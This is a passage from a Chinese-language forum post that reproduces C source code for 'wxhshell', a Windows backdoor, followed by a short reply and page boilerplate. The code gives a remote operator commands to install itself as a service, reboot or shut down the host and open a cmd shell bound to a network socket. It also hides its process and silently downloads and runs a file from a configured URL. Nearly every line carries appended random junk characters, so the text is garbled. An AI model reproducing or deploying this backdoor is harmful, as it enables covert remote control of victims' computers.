  else 2C1+_IL   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %),!2_ x~  
  } k?j Fh6%  
  else { rBfg*r`)  
GAp!nix6h  
    switch(cmd[0]) { \]8i}E1  
  /^ 4"Qv\@/  
  // 帮助 VQ<5%+  
  case '?': { VGZ6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UH20n{_:  
    break; Ub)M*Cq0(o  
  }  yekRwo|  
  // 安装 8*Zvr&B,G  
  case 'i': { 4bI*jEc\[  
    if(Install()) ~6d5zI4\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F$yeF^\g  
    else [Vp\$;\nT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Le&;g4%  
    break; T2|:nC)@  
    } J"&y |; G  
  // 卸载 oEIqA  
  case 'r': { Y iZx{5  
    if(Uninstall()) v<&v]!nF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sykFSPy`'  
    else sN]Z #7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rPO}6lsc  
    break; >EIrw$V$  
    } x'i0KF   
  // 显示 wxhshell 所在路径 bl.EIyG>  
  case 'p': { wPH+n-&e  
    char svExeFile[MAX_PATH]; U~/ID  
    strcpy(svExeFile,"\n\r"); VDiOO  
      strcat(svExeFile,ExeFile); DL4iXULNY  
        send(wsh,svExeFile,strlen(svExeFile),0); ?Aw3lH#:  
    break; Qlh?iA  
    } !Uy>eji}  
  // 重启 )!,@m>0v{  
  case 'b': { j38 6gL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +c?ie4   
    if(Boot(REBOOT)) 7K:FeW'N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,8VXA +'_  
    else { ? s4oDi|:  
    closesocket(wsh); 0b++ 17aV  
    ExitThread(0); {US>)I  
    } =|V" #3$f  
    break; e& Rb  
    } vgAFuQi(  
  // 关机 Cuv|6t75'  
  case 'd': {  XhA4:t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B5`;MQJ  
    if(Boot(SHUTDOWN)) rr )/`Kmv%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u){S$</  
    else { ~U%j{8uH  
    closesocket(wsh); OG}KqG!n  
    ExitThread(0); ,`)OEI|1d  
    } kf K[u/<i  
    break; (9'be\  
    } Yb9cW\lr  
  // 获取shell 0BDS_Rx  
  case 's': { w4A#>;Qu*  
    CmdShell(wsh); rKIRNc#d  
    closesocket(wsh); 7LdzZS0OM  
    ExitThread(0); H:MUNc8i  
    break; yHOqzq56  
  } zbg+6qs})  
  // 退出 Pz1G<eh#{g  
  case 'x': { mu>] 9ZW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A]xCF{*)&  
    CloseIt(wsh); 0_HJ.g!  
    break; @,Jb7V<  
    } vX.]hp5~  
  // 离开 -XW8 LaQB  
  case 'q': { W5X7FEW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6sy,A~e  
    closesocket(wsh); .hne)K%={y  
    WSACleanup(); xT=ySa$|>  
    exit(1); TrQm]9@  
    break; ^'Y HJEK  
        } rkIMM,   
  } |0]YA  
  } 1tyNRoET  
rXDJ:NP  
  // 提示信息 @ExLh9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zzE]M}s  
} 5"uNj<.V  
  } y($EK(cb  
3P`WPph  
  return; G<fS (q  
} wt\m+!u`  
tNB%eb{  
// shell模块句柄 kyu2)L2u  
int CmdShell(SOCKET sock) !mae^A1  
{ B,MQ.|s[  
STARTUPINFO si; P eHW[\)  
ZeroMemory(&si,sizeof(si)); C (U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `GS cRhbh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W1`Dx(g  
PROCESS_INFORMATION ProcessInfo; B'#4;R!8P=  
char cmdline[]="cmd"; pJocI_v9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ->3uOF!q  
  return 0; F {/>u(@3  
} +K&?)?/=  
*?p ^6vO  
// 自身启动模式 $r):d  
int StartFromService(void) r;'i<t{P  
{ 6"%@ L{UQ  
typedef struct Z,SY N?@  
{ z6 a,0&;-L  
  DWORD ExitStatus; bl`D+/V   
  DWORD PebBaseAddress; i)[kubM  
  DWORD AffinityMask; YQx?* gZS  
  DWORD BasePriority; 1y~L8!: L  
  ULONG UniqueProcessId; %rw}u"3T  
  ULONG InheritedFromUniqueProcessId; HM 90Sb  
}   PROCESS_BASIC_INFORMATION; qL,ka  
V07VwVD  
PROCNTQSIP NtQueryInformationProcess; @"0uM?_)-  
)# p.`J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Nk}Z9L]k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ej{+U  
J ZA*{n2  
  HANDLE             hProcess; R qn WtE  
  PROCESS_BASIC_INFORMATION pbi; @]E]W#xAn  
pbPz$Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G~S))p  
  if(NULL == hInst ) return 0; }\DAg'e)  
,!r@9T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^K"ZJ6?+1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :q(D(mK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ca X^)  
'OG{*TDPu  
  if (!NtQueryInformationProcess) return 0; JBvk)ogM  
>T`zh^+5W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x ~wNO/  
  if(!hProcess) return 0; k?< i*;7  
@K7ebYr?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <o ~t$TH  
&{BBxv)y  
  CloseHandle(hProcess); > n1h^AW  
We\KDU\n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #jOOsfH|k  
if(hProcess==NULL) return 0; 40R"^*  
\|blRm;  
HMODULE hMod; 28ja-1dB  
char procName[255]; gU~ L@R_D  
unsigned long cbNeeded; n%n'1AUP:  
R9Ldl97'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xm^N8  
k]t,q$Vd  
  CloseHandle(hProcess); xna7kA  
'y< t/qo  
if(strstr(procName,"services")) return 1; // 以服务启动 bB y'v/  
Ywmyr[Uh'  
  return 0; // 注册表启动 akMJ4EF/  
}  ccRlql(  
x!OWJ/O  
// 主模块 J`4Z<b53  
int StartWxhshell(LPSTR lpCmdLine) Y$>+U  
{ PL9<*.U"=  
  SOCKET wsl; *3 !(*F@M,  
BOOL val=TRUE; '^8g9E .4K  
  int port=0; #]k0Z~Bl  
  struct sockaddr_in door; U[IQ1AEr  
[?A&xqO3  
  if(wscfg.ws_autoins) Install(); [TP  
Pb0)HlLq  
port=atoi(lpCmdLine); Ob7zu"zr  
L^6"' #  
if(port<=0) port=wscfg.ws_port; 1X[ 73  
6BUBk>A`  
  WSADATA data; zMbfV%b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uFz/PDOZ@  
JvKO $^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *@CVYJ'<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?){0-A4  
  door.sin_family = AF_INET; fDL3:%D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yd[U  
  door.sin_port = htons(port); ~(stA3]k  
u.$Ym  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D% oueW  
closesocket(wsl); bh{E&1sLh  
return 1; :b.3CL\.6  
} a:=q8Qy  
TihnSb  
  if(listen(wsl,2) == INVALID_SOCKET) { |Uc <;> l  
closesocket(wsl); X";TZk  
return 1; _2wAaJvA  
} tX@ 0:RX%  
  Wxhshell(wsl); ]^Sd9ba  
  WSACleanup(); Tw2Xe S  
0Ulxp  
return 0; 5P-K *C&  
@m5O{[euj<  
} (}9cD^F0n  
$$k7_rs  
// 以NT服务方式启动 F(J\ctha  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  -PcS(  
{ Cw6>^  
DWORD   status = 0; mYntU^4f  
  DWORD   specificError = 0xfffffff; iU.!oeR?  
.UNF~}^H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1R5Yn(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s.|!Ti!]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xt? 3_?1  
  serviceStatus.dwWin32ExitCode     = 0; AmP#'U5  
  serviceStatus.dwServiceSpecificExitCode = 0; ue,#, 3{m  
  serviceStatus.dwCheckPoint       = 0; -L+\y\F  
  serviceStatus.dwWaitHint       = 0; OD{5m(JwL  
n;e."^5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;7;zhJs1t  
  if (hServiceStatusHandle==0) return; n/ui<&(  
{CW1t5$*  
status = GetLastError(); Tm (Q@  
  if (status!=NO_ERROR) _Syre6k  
{ K%98;e9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FgXu1-  
    serviceStatus.dwCheckPoint       = 0; 29&sydu  
    serviceStatus.dwWaitHint       = 0; ^wvH,>Yo  
    serviceStatus.dwWin32ExitCode     = status; Gtj (  
    serviceStatus.dwServiceSpecificExitCode = specificError; CkmlqqUHC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xR\D(FLV S  
    return; z8 hTZU  
  } pw0Px  
|Dl*w/n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }@3Ud ' Y  
  serviceStatus.dwCheckPoint       = 0; *jYHd#UZx4  
  serviceStatus.dwWaitHint       = 0; ;n% ]*v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TX< e_[$\  
} RY>)eGJ  
pem3G5 `g=  
// 处理NT服务事件,比如:启动、停止 17J}uXA   
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2z'+1+B'  
{ m-:8jA?  
switch(fdwControl) 5}vRo;-  
{ vF5wA-3&t  
case SERVICE_CONTROL_STOP: `'z(--J}`  
  serviceStatus.dwWin32ExitCode = 0; \hjk$Gq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s-QM 6*  
  serviceStatus.dwCheckPoint   = 0; >t 1_5  
  serviceStatus.dwWaitHint     = 0; QH@Q\ @,  
  { fG:PdIJ7_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o?:;8]sr!  
  } ;X?Ah  
  return; TYs+XJ'Xj  
case SERVICE_CONTROL_PAUSE: u5xU)l3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >wz;}9v  
  break; y #hga5  
case SERVICE_CONTROL_CONTINUE: <_##YSGh,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }"F ?H:\  
  break; 4yA9Ni  
case SERVICE_CONTROL_INTERROGATE: ?b!CV   
  break; ti$oZ4PpF  
}; N&6_8=3z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b@nri5noBm  
} .`oJcJ  
b &\3ps  
// 标准应用程序主函数 jF%)Bhn(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r Iya\z1W  
{ @4 zi]v  
I-RdAVB/Ep  
// 获取操作系统版本 D6&mf2'u  
OsIsNt=GetOsVer(); FRl3\ZDqrb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'hwV   
U%mkhWn  
  // 从命令行安装 [}W^4,  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6F|Hg2tpz  
DFt=%aV[  
  // 下载执行文件 _hAj2%SL  
if(wscfg.ws_downexe) { 0EL\Hd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ({;P#qCX  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7\7Brw4  
} yt/20a  
ikEWY_1Y  
if(!OsIsNt) { g@S@d&9  
// 如果时win9x,隐藏进程并且设置为注册表启动 <7_ |Q   
HideProc(); 1g~Dm}m  
StartWxhshell(lpCmdLine); m.\ >95!  
} `c qH}2s#  
else `^ieT#(O  
  if(StartFromService()) yj}bY?4I  
  // 以服务方式启动 Ns+)Y^(5  
  StartServiceCtrlDispatcher(DispatchTable); =yk Rki  
else )64LKb$  
  // 普通方式启动 HGP%a1RF#  
  StartWxhshell(lpCmdLine); R9b/?*%=9  
!$:0E y(S  
return 0; fZka%[B  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五